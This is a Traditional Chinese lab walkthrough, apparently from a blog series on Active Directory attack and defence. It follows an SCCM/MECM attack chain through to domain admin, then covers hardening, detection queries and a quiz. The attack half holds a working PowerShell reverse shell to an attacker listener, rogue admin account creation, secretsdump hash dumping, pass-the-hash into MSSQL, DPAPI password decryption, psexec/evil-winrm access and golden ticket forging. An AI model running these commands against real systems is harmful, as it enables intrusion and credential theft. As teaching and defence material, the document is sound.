# PowerShell TCP 反向 Shell
$client = New-Object System.Net.Sockets.TCPClient('192.168.52.150',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()

儲存為 sudo vim /workspace/revshell.ps1

步驟 2:設定監聽器

開啟新終端:

# 使用 netcat 監聽
nc -nlvp 4444

腳本部署的兩種方式

方式 A:無需核准的部署(預設設定下不可行)

如果 SCCM 未要求腳本核准,可以直接部署:

# 嘗試直接部署
(16777221) C:\ >> script /workspace/revshell.ps1

預期錯誤

[!] Script approval required
[!] This SCCM environment requires scripts to be approved before execution

image

方式 B:使用核准帳戶部署(建議)

步驟 1:建立核准用電腦帳戶

# 新增電腦帳戶用於核准
addcomputer.py \
    -computer-name 'approval$' \
    -computer-pass 'approvalaccount' \
    'sccm.lab/carol:SCCMftw' \
    -dc-ip 192.168.52.10

image

輸出

[*] Successfully added machine account approval$ with password approvalaccount.

步驟 2:取得電腦帳戶的 SID

ldapsearch -x -H ldap://192.168.52.10 \
    -D "carol@SCCM.lab" \
    -w "SCCMftw" \
    -b "DC=sccm,DC=lab" \
    "(name=*approval*)" objectSid \
    -LLL | grep "objectSid::" | awk '{print $2}' | python3 ~/tools/convert_sid.py

輸出
image

步驟 3:將電腦帳戶新增為 SCCM 管理員

# 在 SCCMHunter Shell 中
() C:\ >> add_admin approval$ S-1-5-21-2679896087-1315889500-228578964-1124

image

輸出

[+] Successfully added approval$ as an admin

步驟 4:使用核准帳戶重新連接

結束目前 SCCMHunter 會話,使用核准帳戶重新連接:

python3 sccmhunter.py admin \
    -u carol@sccm.lab \
    -p 'SCCMftw' \
    -ip 192.168.52.11 \
    -au 'approval$' \
    -ap 'approvalaccount' \
    -debug

image

參數說明

  • -au 'approval$':核准用帳戶
  • -ap 'approvalaccount':核准用密碼

步驟 5:部署腳本到 CLIENT

# 取得 CLIENT 設備
() C:\ >> get_device CLIENT

# 互動模式
() C:\ >> interact 16777221

# 部署反向 Shell
(16777221) C:\ >> script /workspace/revshell.ps1

預期輸出

[*] Uploading script to SCCM
[*] Creating script deployment
[*] Script approved by approval$
[*] Deploying to ResourceId 16777221 (CLIENT)
[+] Script deployment successful
[*] Waiting for execution...

image

在監聽器終端

Connection from 192.168.52.13:xxxxx
Microsoft Windows [Version 10.0.19044.1234]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\CCM\> whoami
nt authority\system

C:\Windows\CCM\> hostname
CLIENT

image

成功! 我們取得了 CLIENT 的 SYSTEM 權限 Shell。

步驟 6:部署腳本到 MECM

重複相同步驟,這次目標是 MECM:

# 取得 MECM 設備資訊
() C:\ >> get_device MECM
# ResourceId: 16777219

# 互動模式
() C:\ >> interact 16777219

# 部署反向 Shell
(16777219) C:\ >> script /workspace/revshell.ps1

在監聽器終端(開啟新的監聽):

# 新終端
nc -nlvp 5555

修改 revshell.ps1 的端口為 5555 後重新部署。

成功取得 MECM 的 Shell

Connection from 192.168.52.11:xxxxx
Microsoft Windows [Version 10.0.17763.1234]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\CCM\> whoami
nt authority\system

C:\Windows\CCM\> hostname
MECM

重要提示

腳本部署會在 SCCM 主控台中留下記錄:

  • 腳本名稱和內容
  • 部署時間和目標
  • 執行結果

清理步驟

  1. 刪除已部署的腳本
  2. 清除部署記錄
  3. 移除核准帳戶

3.6 第三階段攻擊總結

已完成

  • 使用 SCCM 管理員權限列舉環境
  • 使用 CMPivot 進行即時查詢
  • 識別關鍵帳戶(sccm-account-da)
  • 新增額外的管理員帳戶(franck)
  • 建立核准用電腦帳戶
  • 成功部署反向 Shell 到 CLIENT
  • 成功部署反向 Shell 到 MECM

取得的存取權限

  • CLIENT: SYSTEM 權限 Shell
  • MECM: SYSTEM 權限 Shell
  • 完全控制 SCCM 環境

重要發現

  • MECM 伺服器可透過 SCCM 腳本部署控制

下一步
從 MECM 伺服器提取資料庫中的加密憑證,最終目標是取得 sccm-account-da 的密碼

第四階段:資料庫憑證解密與域管理員提權

4.1 攻擊目標說明

最終目標:取得 sccm-account-da 域管理員帳戶的密碼

攻擊路徑

MECM SYSTEM Shell
    ↓
建立本地管理員帳戶
    ↓
提取 MECM$ 機器帳戶雜湊
    ↓
使用 MECM$ 連接 MSSQL 資料庫
    ↓
查詢 SC_UserAccount 資料表
    ↓
提取加密的密碼
    ↓
使用 MECM 的 DPAPI 金鑰解密
    ↓
取得明文密碼
    ↓
驗證域管理員存取

4.2 在 MECM 上建立本地管理員

為什麼需要這個步驟

雖然我們有 MECM 的 SYSTEM Shell,但為了方便後續操作(如 RDP 連接、檔案傳輸等),建立一個本地管理員帳戶更為實用。

在 MECM 的 SYSTEM Shell 中執行

# 建立新的本地使用者
PS C:\Windows\CCM> net user myadmin myadminpass /add
The command completed successfully.

# 將使用者加入本地管理員群組
PS C:\Windows\CCM> net localgroup administrators myadmin /add
The command completed successfully.

# 驗證
PS C:\Windows\CCM> net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
SCCM\Domain Admins
SCCM\sccm-account-da
myadmin
The command completed successfully.

驗證新帳戶可以登入

# 從攻擊機驗證
nxc smb 192.168.52.11 \
    -u myadmin \
    -p myadminpass \
    --local-auth

image

4.3 提取 MECM$ 機器帳戶雜湊

方法 1:使用 secretsdump(遠端)

# 使用新建立的本地管理員帳戶
secretsdump.py \
    MECM/myadmin:'myadminpass'@192.168.52.11

image

預期輸出

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:...
myadmin:1001:aad3b435b51404eeaad3b435b51404ee:...
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
SCCM\MECM$:aad3b435b51404eeaad3b435b51404ee:c8c42823ab75c8740c3a4ae7329b4d20
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x...
dpapi_userkey:0x...
[*] NL$KM 
0x...
[*] Cleaning up...

重要資訊

MECM$ NTLM Hash: a3c20c3c9cb9ad0ca2279ba9ae74364d
DPAPI Machine Key: 0x251d19b7bb4deb6444b19a97bdcc9d00459e193d

4.4 使用 MECM$ 連接 MSSQL 資料庫

為什麼這個有效

  • MECM$ 機器帳戶是 MSSQL 的 sysadmin
  • 使用 Pass-the-Hash 可以驗證為 MECM$
  • 可以查詢 SCCM 資料庫中的所有資料

連接資料庫

# 使用 MECM$ 的 NTLM 雜湊連接
mssqlclient.py \
    -windows-auth \
    -hashes 'aad3b435b51404eeaad3b435b51404ee:a3c20c3c9cb9ad0ca2279ba9ae74364d' \
    'SCCMLAB/MECM$'@192.168.52.12

image

4.5 從資料庫提取加密憑證

步驟 1:切換到 SCCM 資料庫

SQL> USE CM_P01;

步驟 2:查詢所有使用者帳戶

SQL> SELECT * FROM SC_UserAccount;

image

重要:Password 欄位包含使用 DPAPI 加密的密碼。

步驟 3:取得完整的加密資料

輸出範例

UserName: sccm-account-da
Password: 0C0100000C000000010200000366000000A400003ACC12F3A3E8BCF9D14299CAD4D45EAEBE81F2408126ACB0C74980CB45D44CA3912047E2A959D25665A395873C502F3171E2A238402CCDDDD8FDC22813DDB4C2181D2FC5B4307E8A52AACBCCD51265894D26016D54A85146CE7F6995BDFEBFBEB51E83A533EEBB882D648221A1C9DD0732427274678EE0623ACB9E94F4EFC05C4717DEE12A91C91FAB4CAB77C7A6EA74A7EAA5E202B395343AE60CBBE3A1BAA25ED9287143851EBFCB8073B16B2AA661EF73FB302B90A4226583C78AC9DAFB89CF76AF7BC514E204B2914B0B49CBD703ED40D4FD3D32425DBDCF3DE1444E77B83F17942290CBA21619B18E432E0EF187686CF2F08BC69ECD44AD3CAEAB8EE38353D39C87F93B8C599A9F3B13017228F2

將這個十六進位值複製下來。

4.6 解密密碼

解密原理

SCCM 使用 Windows DPAPI 加密儲存在資料庫中的密碼。解密需要:

  1. 加密的資料(從資料庫取得)
  2. DPAPI Master Key(從 MECM 伺服器取得)
  3. 解密程式(Adam Chester 的工具)

步驟 1:連接到 MECM 伺服器

# 使用 RDP 連接
xfreerdp3 \
    /u:"myadmin" \
    /p:"myadminpass" \
    /v:"192.168.52.11" \
    /cert:ignore \
    /drive:share,/workspace

步驟 2:下載解密工具

在 MECM 的 PowerShell 中:

# 切換到桌面
cd C:\Users\myadmin\Desktop

# 下載 Adam Chester (xpn) 的解密 PoC
curl https://gist.githubusercontent.com/xpn/5f497d2725a041922c427c3aaa3b37d1/raw/f3cc19a7a834adc9676983def23f2a1b43221b42/sccmdecryptpoc.cs -O sccmdecryptpoc.cs

步驟 3:編譯解密工具

# 使用 C# 編譯器編譯
C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe /t:exe /out:sccmdecryptpoc.exe sccmdecryptpoc.cs

預期輸出

Microsoft (R) Visual C# Compiler version 3.5.30729.9151
Copyright (C) Microsoft Corporation. All rights reserved.

步驟 4:解密所有密碼

從資料庫查詢取得每個帳戶的加密密碼,然後逐一解密:

解密 sccm-client-push

.\sccmdecryptpoc.exe "0C01000008000000010200000366000000A40000960F040E8ACBA6C40F20A2183981A67C56485E04B21A96548CD92D76D66414C68ECE3C12EE45AD5B68A9A9C4738CC8FE3D5B0077D40FCFC4035B527161888F5D7299745C0745704A48A5C38343C5CBA454CF738C4DFD3046A821B7DBF10E9A9492F96269BE9151D484486E1A2A00D49BF6BFE44E155CF3E0282C1EDF94C5B046915E3442DB657FE34E98F6F6DB442648DC009CB96C29AEA7C5593A1F0CC7D1ABE2643D134EA2D8059B2141DA64B55D85C40B011D2379E3B2214A57DE46983DF4820BB10580CBF5D3221557D9A3B7E501C4EE7D313775357E6452BD43198EEACA6924B659864C808E5FBD13541B30365B281F071597DD83BA61C522164FE442509274729632DF5703E3C99AD4C43B113D"

輸出

[*] Decrypting password...
[+] Decrypted Password: superman

解密 sccm-naa

.\sccmdecryptpoc.exe " 0C01000009000000010200000366000000A400009B42ABAC53F64161885C41BE91176EEA01CCB713620FA1715B9D2089853FCE200C88F4DCA0E9B4720755C077385B63F07EA481A01854A90D819EE46BAC1E451703C8C5973D8F232F7964332BD4041BC4AF9C2D73BA8C16F1844F46BC36FCD7236EC48D7FA54F1232F419D5A62060FE54F66A9054B3DD66C99BC6F719C1365606F7EFE30323CB4DF2663FE1B2680402F8FCF2F0C33599FD6569020E9931B5BB710E92B776CDDA54F3E2DC932B94CCEE9B6BA35D075BDFDEB1CA0445094C848ED5AEF535879E48A787DD1B8DFD5CCDE55731FEC6BEE36717EBC5C5E31F0595C90FB838B51AF0BC2F48938B52F8262E2EDC8E106043378A21179C5FF2B0C82EBE521C86195D98CD15A54457FD41A4690B41              0
72057594037927939"

輸出

[*] Decrypting password...
[+] Decrypted Password: 123456789

解密 sccm-account-da(關鍵)

.\sccmdecryptpoc.exe "0C0100000C000000010200000366000000A400003ACC12F3A3E8BCF9D14299CAD4D45EAEBE81F2408126ACB0C74980CB45D44CA3912047E2A959D25665A395873C502F3171E2A238402CCDDDD8FDC22813DDB4C2181D2FC5B4307E8A52AACBCCD51265894D26016D54A85146CE7F6995BDFEBFBEB51E83A533EEBB882D648221A1C9DD0732427274678EE0623ACB9E94F4EFC05C4717DEE12A91C91FAB4CAB77C7A6EA74A7EAA5E202B395343AE60CBBE3A1BAA25ED9287143851EBFCB8073B16B2AA661EF73FB302B90A4226583C78AC9DAFB89CF76AF7BC514E204B2914B0B49CBD703ED40D4FD3D32425DBDCF3DE1444E77B83F17942290CBA21619B18E432E0EF187686CF2F08BC69ECD44AD3CAEAB8EE38353D39C87F93B8C599A9F3B13017228F2"

輸出

[*] Decrypting password...
[+] Decrypted Password: SCCM_D@-ftw_

所有取得的憑證總結

sccm-client-push:
- 密碼:superman
- 權限:CLIENT 本地管理員

sccm-naa:
- 密碼:123456789
- 權限:SCCM 發布點讀取權限

sccm-account-da:
- 密碼:SCCM_D@-ftw_
- 權限:域管理員(待驗證)

4.7 驗證域管理員存取

使用新取得的憑證驗證

# 測試 sccm-account-da 在域控制站的權限
nxc smb 192.168.52.10 \
    -u sccm-account-da \
    -p 'SCCM_D@-ftw_' \
    -d sccm.lab

image

取得 DC Shell

# 使用 PSExec
impacket-psexec \
    sccm.lab/sccm-account-da:'SCCM_D@-ftw_'@192.168.52.10

或使用 Evil-WinRM

evil-winrm \
    -i 192.168.52.10 \
    -u sccm-account-da \
    -p 'SCCM_D@-ftw_'
whoami
whoami /groups | findstr "Domain Admins"
hostname

image

成功! 我們現在是域管理員,完全控制了整個 SCCM.lab 域。

4.8 域控制站後滲透(Post-Exploitation)

提取域內所有雜湊

secretsdump.py \
    sccm.lab/sccm-account-da:'SCCM_D@-ftw_'@192.168.52.10

image

黃金票證製作

# 使用 krbtgt 雜湊製作黃金票證
impacket-ticketer \
    -nthash b4336da61e1e3943bb014edeef50dfb0 \
    -domain-sid S-1-5-21-3544182104-1320166847-3102157022 \
    -domain sccm.lab \
    Administrator

image

4.9 第四階段攻擊總結

已完成

  • 在 MECM 建立本地管理員帳戶
  • 提取 MECM$ 機器帳戶雜湊
  • 使用 MECM$ 連接 MSSQL 資料庫
  • 查詢並提取加密的使用者憑證
  • 使用 DPAPI 解密所有密碼
  • 取得域管理員帳戶 (sccm-account-da)
  • 驗證域管理員存取權限
  • 取得域控制站 Shell
  • 提取域內所有雜湊

取得的高權限憑證

sccm-account-da:
- 使用者:sccm.lab\sccm-account-da
- 密碼:SCCM_D@-ftw_
- 群組:Domain Admins
- 權限:完全控制域環境

krbtgt:
- NTLM: [已提取]
- AES256: [已提取]
- 用途:製作黃金票證

所有域用戶的 NTLM 雜湊:
- 可用於 Pass-the-Hash
- 可用於破解明文密碼

攻擊影響評估

妥協範圍:完整域環境

受影響資產:
- 所有域控制站
- 所有域成員伺服器
- 所有域工作站
- SCCM 管理基礎設施
- MSSQL 資料庫伺服器

攻擊者能力:
- 建立/刪除任何域帳戶
- 修改群組成員資格
- 部署軟體到所有機器
- 存取所有域資源
- 製作黃金/銀票證
- 持久化存取

檢測點分析

各階段的偵測可能性

偵測難度評估(1-5星,5星最難偵測)

階段一:PXE 攻擊
  偵測難度:★★☆☆☆
  偵測方法:TFTP 日誌、異常 PXE 請求
  
階段二:NTLM Relay
  偵測難度:★★★☆☆
  偵測方法:認證日誌、SQL 資料庫變更
  
階段三:SCCM 管理活動
  偵測難度:★★★★☆
  偵測方法:SCCM 稽核日誌、異常查詢模式
  
階段四:憑證收集
  偵測難度:★★★★☆
  偵測方法:WMI 查詢監控、檔案存取監控
  
階段五:腳本部署
  偵測難度:★★☆☆☆
  偵測方法:SCCM 部署日誌、反向連線
  
階段六:資料庫存取
  偵測難度:★★★☆☆
  偵測方法:SQL 查詢日誌、敏感資料表存取
  
階段七:域管理員利用
  偵測難度:★★☆☆☆
  偵測方法:特權帳戶使用、DC 日誌

必要的先決條件

此攻擊鏈成功的關鍵條件

  1. 取得低權限域存取(Day29 PXE 攻擊)
  2. SMB 簽章未啟用(Day28 偵察發現)
  3. MECM$ 是 MSSQL sysadmin(預設設定)
  4. 可觸發 MECM 認證(PetitPotam/PrinterBug)
  5. 本地管理員密碼通用(Day29 Task Sequence)
  6. NAA 未使用 Enhanced HTTP(傳統設定)
  7. 資料庫中儲存高權限憑證
  8. 缺乏充分的監控和警報

攻擊者視角的風險評估

從紅隊角度

優勢

  • 多個攻擊路徑和備選方案
  • 大部分操作使用合法工具和功能
  • 難以與正常 SCCM 管理活動區分
  • 可以快速橫向移動

風險

  • NTLM Relay 可能觸發警報
  • 腳本部署會留下明顯記錄
  • 大量 CMPivot 查詢可能引起注意
  • 需要多個階段,增加被發現機會

持久化選項

  1. 保留額外的 SCCM 管理員帳戶
  2. 製作黃金票證
  3. 在 SCCM 中部署後門
  4. 修改 Task Sequence 植入後門
  5. 建立隱藏的排程任務

針對各攻擊階段的防禦

防禦階段一:阻止 NTLM Relay

立即實施(P0)

  1. 啟用 SMB 簽章
# 在所有 SCCM 伺服器上執行
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
Set-SmbClientConfiguration -RequireSecuritySignature $true -Force

群組原則設定:

電腦設定 → 原則 → Windows 設定 → 安全性設定 → 本機原則 → 安全性選項
    → Microsoft 網路伺服器: 數位簽章通訊 (一律) = 已啟用
    → Microsoft 網路用戶端: 數位簽章通訊 (一律) = 已啟用
  1. 啟用 LDAP 簽章和通道繫結
# 在域控制站上
Set-ADDomainController -LDAPServerIntegrity 2

# 啟用通道繫結
Set-ItemProperty `
    -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
    -Name "LdapEnforceChannelBinding" `
    -Value 2
  1. 實施 EPA (Extended Protection for Authentication)

在 SQL Server 上:

SQL Server Configuration Manager 
    → SQL Server Network Configuration 
    → Protocols for [Instance] 
    → Properties 
    → Advanced 
    → Extended Protection = Required

短期實施(P1)

  1. 停用不需要的 RPC 協定
# 停用列印服務(如果不需要)
Stop-Service -Name Spooler
Set-Service -Name Spooler -StartupType Disabled
  1. 實施網路分段
管理 VLAN (VLAN 10)
    ├─ MECM: 192.168.52.11
    ├─ MSSQL: 192.168.52.12
    └─ 防火牆規則:僅允許必要流量

生產 VLAN (VLAN 20)
    ├─ CLIENT: 192.168.52.13
    └─ 其他工作站

封鎖規則:
    VLAN 20 → VLAN 10: TFTP (UDP 69)
    VLAN 20 → VLAN 10: MSSQL (TCP 1433)

防禦階段二:保護 SCCM 管理權限

限制資料庫權限

-- 在 MSSQL 上執行
USE master;

-- 移除 MECM$ 的 sysadmin 角色
EXEC sp_dropsrvrolemember 'SCCM\MECM$', 'sysadmin';

-- 僅授予必要的資料庫權限
USE CM_P01;
CREATE USER [SCCM\MECM$] FOR LOGIN [SCCM\MECM$];
EXEC sp_addrolemember 'db_datareader', 'SCCM\MECM$';
EXEC sp_addrolemember 'db_datawriter', 'SCCM\MECM$';

-- 拒絕修改敏感資料表
DENY UPDATE ON RBAC_Admins TO [SCCM\MECM$];
DENY INSERT ON RBAC_Admins TO [SCCM\MECM$];
DENY DELETE ON RBAC_Admins TO [SCCM\MECM$];

實施 RBAC 最小權限

# 建立受限的管理角色
New-CMSecurityRole `
    -Name "Restricted SCCM Operator" `
    -Description "Limited operator role"

# 移除不必要的權限
$role = Get-CMSecurityRole -Name "Restricted SCCM Operator"
Remove-CMSecurityRolePermission `
    -SecurityRole $role `
    -PermissionType "Modify" `
    -ObjectType "SMS_R_System"

稽核 SCCM 管理員

# 定期檢查管理員列表
Get-CMAdministrativeUser | 
    Select-Object LogonName, AccountType, LastModifiedDate |
    Export-Csv "SCCM_Admins_$(Get-Date -Format 'yyyyMMdd').csv"

防禦階段三:憑證管理

遷移到 Enhanced HTTP

SCCM 主控台
    → 管理 
    → 站點設定 
    → 站點 
    → [右鍵] 內容 
    → 通訊安全 
    → ✓ 使用 Configuration Manager 產生的憑證用於 HTTP 站點系統
    → 客戶端電腦通訊:HTTPS 或 HTTP

如果必須使用 NAA,實施嚴格控制

  1. 限制 NAA 權限
# 檢查 NAA 的群組成員資格
$naaAccount = "sccm-naa"
Get-ADUser -Identity $naaAccount -Properties MemberOf

# 應該只屬於 Domain Users
# 移除其他所有群組成員資格
  1. 定期輪換 NAA 密碼
# 自動化腳本:每 90 天更換密碼
$newPassword = [System.Web.Security.Membership]::GeneratePassword(20, 5)
Set-ADAccountPassword `
    -Identity "sccm-naa" `
    -NewPassword (ConvertTo-SecureString $newPassword -AsPlainText -Force)

# 在 SCCM 中更新
# 管理 → 站點設定 → 站點 → 設定站點元件 → 軟體發佈

部署 LAPS

# 安裝 LAPS
Import-Module AdmPwd.PS

# 擴充 AD 架構
Update-AdmPwdADSchema

# 設定權限
Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Workstations,DC=sccm,DC=lab"

# 設定密碼策略
Set-AdmPwdPasswordPolicy `
    -OrgUnit "OU=Workstations,DC=sccm,DC=lab" `
    -PasswordLength 20 `
    -PasswordComplexity 4 `
    -PasswordAge 30

防禦階段四:腳本部署保護

強制腳本核准流程

SCCM 主控台
    → 管理 
    → 站點設定 
    → 站點 
    → 階層設定 
    → ✓ 需要核准才能執行腳本
    → 核准者:[指定核准者群組]

實施部署視窗

# 建立維護視窗,限制部署時間
New-CMMaintenanceWindow `
    -CollectionId "SMS00001" `
    -Name "Production Deployment Window" `
    -StartTime "2025-10-14 02:00:00" `
    -Duration 240 `
    -RecurInterval Days `
    -RecurCount 1

監控異常部署

# 每小時檢查新部署
$lastHour = (Get-Date).AddHours(-1)
$deployments = Get-CMDeployment | 
    Where-Object { $_.CreationTime -gt $lastHour }

foreach ($deployment in $deployments) {
    if ($deployment.CollectionName -eq "All Systems") {
        # 發送警報
        Send-MailMessage `
            -To "security@company.com" `
            -Subject "ALERT: Deployment to All Systems" `
            -Body "Deployment: $($deployment.ApplicationName)"
    }
}

防禦階段五:資料庫保護

實施資料庫稽核

-- 建立稽核規格
USE master;
GO

CREATE SERVER AUDIT SCCM_Audit
TO FILE (FILEPATH = 'C:\SQLAudit\');

CREATE SERVER AUDIT SPECIFICATION SCCM_Audit_Spec
FOR SERVER AUDIT SCCM_Audit
ADD (SUCCESSFUL_LOGIN_GROUP),
ADD (FAILED_LOGIN_GROUP),
ADD (SCHEMA_OBJECT_CHANGE_GROUP);

ALTER SERVER AUDIT SCCM_Audit WITH (STATE = ON);
ALTER SERVER AUDIT SPECIFICATION SCCM_Audit_Spec WITH (STATE = ON);

-- 資料庫層級稽核
USE CM_P01;
GO

CREATE DATABASE AUDIT SPECIFICATION SCCM_DB_Audit_Spec
FOR SERVER AUDIT SCCM_Audit
ADD (SELECT, UPDATE, INSERT, DELETE ON SCHEMA::dbo BY [SCCM\MECM$]);

ALTER DATABASE AUDIT SPECIFICATION SCCM_DB_Audit_Spec WITH (STATE = ON);

監控敏感資料表

-- 建立觸發器監控 RBAC 變更
USE CM_P01;
GO

CREATE TRIGGER trg_RBAC_Admins_Audit
ON RBAC_Admins
AFTER INSERT, UPDATE, DELETE
AS
BEGIN
    INSERT INTO RBAC_Audit_Log (
        Action,
        LogonName,
        AdminSID,
        ModifiedBy,
        ModifiedDate
    )
    SELECT 
        'INSERT' as Action,
        LogonName,
        AdminSID,
        SYSTEM_USER,
        GETDATE()
    FROM inserted;
END;

加密敏感資料

-- 使用 Always Encrypted 保護密碼欄位
ALTER TABLE SC_UserAccount
ALTER COLUMN Password ADD ENCRYPTED WITH (
    ENCRYPTION_TYPE = DETERMINISTIC,
    ALGORITHM = 'AEAD_AES_256_CBC_HMAC_SHA_256',
    COLUMN_ENCRYPTION_KEY = SCCM_CEK
);

監控與偵測

SIEM 整合

關鍵事件 ID 監控

Windows Event IDs:
  認證事件:
    - 4624: 成功登入 (類型 3 = 網路登入)
    - 4625: 登入失敗
    - 4768: Kerberos TGT 請求
    - 4769: Kerberos TGS 請求
    
  權限變更:
    - 4672: 特殊權限指派
    - 4720: 建立使用者帳戶
    - 4732: 成員加入本機群組
    - 4756: 成員加入全域群組
    
  物件存取:
    - 5140: 存取網路共享
    - 5145: 檢查共享物件
    - 4663: 嘗試存取物件
    
  RPC/列印:
    - 307: 列印服務相關事件

SQL Server Events:
  - 登入成功/失敗
  - 權限變更
  - 敏感資料表存取 (RBAC_Admins, SC_UserAccount)
  
SCCM Events:
  - 腳本執行
  - 部署建立
  - 管理員變更
  - CMPivot 查詢

Splunk 查詢範例

# 偵測 NTLM Relay 攻擊
index=windows EventCode=4624 Logon_Type=3 
| where Account_Name LIKE "%$" 
| stats count by src_ip, dest_ip, Account_Name
| where count > 5

# 偵測異常的 SCCM 管理活動
index=sccm source="*AdminUI.log" 
| regex _raw="RBAC_Admins|add_admin" 
| stats count by user, action
| where count > 1

# 偵測腳本部署到所有系統
index=sccm source="*ScriptExecution.log" 
| regex Collection="All Systems" 
| table _time, user, script_name, target

# 偵測資料庫異常查詢
index=sql source="*ERRORLOG" 
| regex _raw="SC_UserAccount|RBAC_Admins" 
| stats count by user, query
| where count > 3

告警規則

高優先級告警

  1. RBAC 資料表被修改
條件:INSERT/UPDATE/DELETE on RBAC_Admins
嚴重性:Critical
動作:立即通知 + 暫時停用 SCCM
  1. 非預期的 SCCM 管理員
條件:新管理員加入且不在白名單
嚴重性:High
動作:通知 + 自動移除
  1. 大規模腳本部署
條件:部署目標 > 100 台機器
嚴重性:Medium
動作:通知 + 需要核准
  1. 異常認證模式
條件:機器帳戶從非預期來源認證
嚴重性:High
動作:通知 + 封鎖來源 IP

小試身手

第一題

在 NTLM Relay 攻擊中,為什麼 MECM$ 機器帳戶的認證可以被成功中繼到 MSSQL 伺服器?

A. MECM$ 是域管理員
B. MECM$ 必須是 MSSQL Server 的 sysadmin 才能管理 SCCM 資料庫
C. MSSQL 沒有設定密碼
D. MECM$ 使用了弱密碼

答案:B

解析
MECM$ 機器帳戶是 MSSQL 的 sysadmin(最高權限),因為 SCCM 需要完整控制資料庫。攻擊者利用這點:強制 MECM 認證 → Relay 到 MSSQL → 用 sysadmin 權限修改管理員資料表。防禦:啟用 SMB 簽章。

第二題

使用 SharpSCCM 從客戶端提取 SCCM 憑證時,為什麼需要本地管理員權限?

A. 需要安裝 SharpSCCM 軟體
B. SCCM 憑證使用 DPAPI 加密,解密需要 SYSTEM 或管理員權限存取 Master Key
C. 需要修改 SCCM 客戶端設定
D. 需要連接到遠端 SCCM 伺服器

答案:B

解析
SCCM 憑證用 DPAPI 加密,加密金鑰(Master Key)存在 C:\Windows\System32\Microsoft\Protect\S-1-5-18\。只有管理員或 SYSTEM 能讀取這個目錄,所以需要管理員權限才能解密。

第三題

在第三階段的腳本部署攻擊中,為什麼需要建立一個「核准用帳戶」(approval account)?

A. SCCM 環境啟用了腳本執行需要核准的安全設定
B. 需要第二個帳戶來繞過防火牆
C. Carol 的密碼過期了
D. 為了隱藏攻擊痕跡

答案:A

解析
SCCM 安全規則:建立腳本的人和核准腳本的人必須是不同帳戶(職責分離)。carol 建立腳本但不能自己核准,所以需要第二個管理員帳戶(approval$)來核准。

第四題

在資料庫憑證解密階段,使用 sccmdecryptpoc.exe 工具時,為什麼必須在 MECM 伺服器上本地執行,而不能在其他機器上解密?

A. 工具只能在 Windows Server 上執行
B. 解密需要 MECM 伺服器上的 DPAPI Master Key
C. 資料庫只允許從 MECM 連接
D. 需要 MECM 伺服器的網路設定

答案:B

解析
密碼是用 MECM 伺服器的 DPAPI 加密的,解密金鑰(Master Key)只存在 MECM 伺服器上,而且無法複製到其他機器。就像鎖和鑰匙:必須在有鑰匙的地方才能開鎖。

第五題

完成整個攻擊鏈後,從低權限域用戶(carol)到域管理員(sccm-account-da)的最關鍵步驟是什麼?

A. PXE Boot 攻擊取得初始憑證
B. NTLM Relay 到 MSSQL 提升為 SCCM 管理員
C. 使用 SharpSCCM 收集本地憑證
D. 資料庫憑證解密

答案:B

解析
NTLM Relay 是最關鍵的步驟,因為:

  • 之前:只是普通域用戶,什麼都做不了
  • 之後:變成 SCCM 管理員,可以控制所有機器、部署腳本、存取資料庫
  • 其他步驟失敗都有替代方案,但這步失敗就卡住了

簡單說:這是從「低權限」跳到「高權限」的唯一關鍵突破點。


上一篇
AD 攻防實戰演練 Day 29:Microsoft SCCM/MECM PXE 網路啟動攻擊與防禦實戰演練
系列文
資安這條路:AD 攻防實戰演練30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言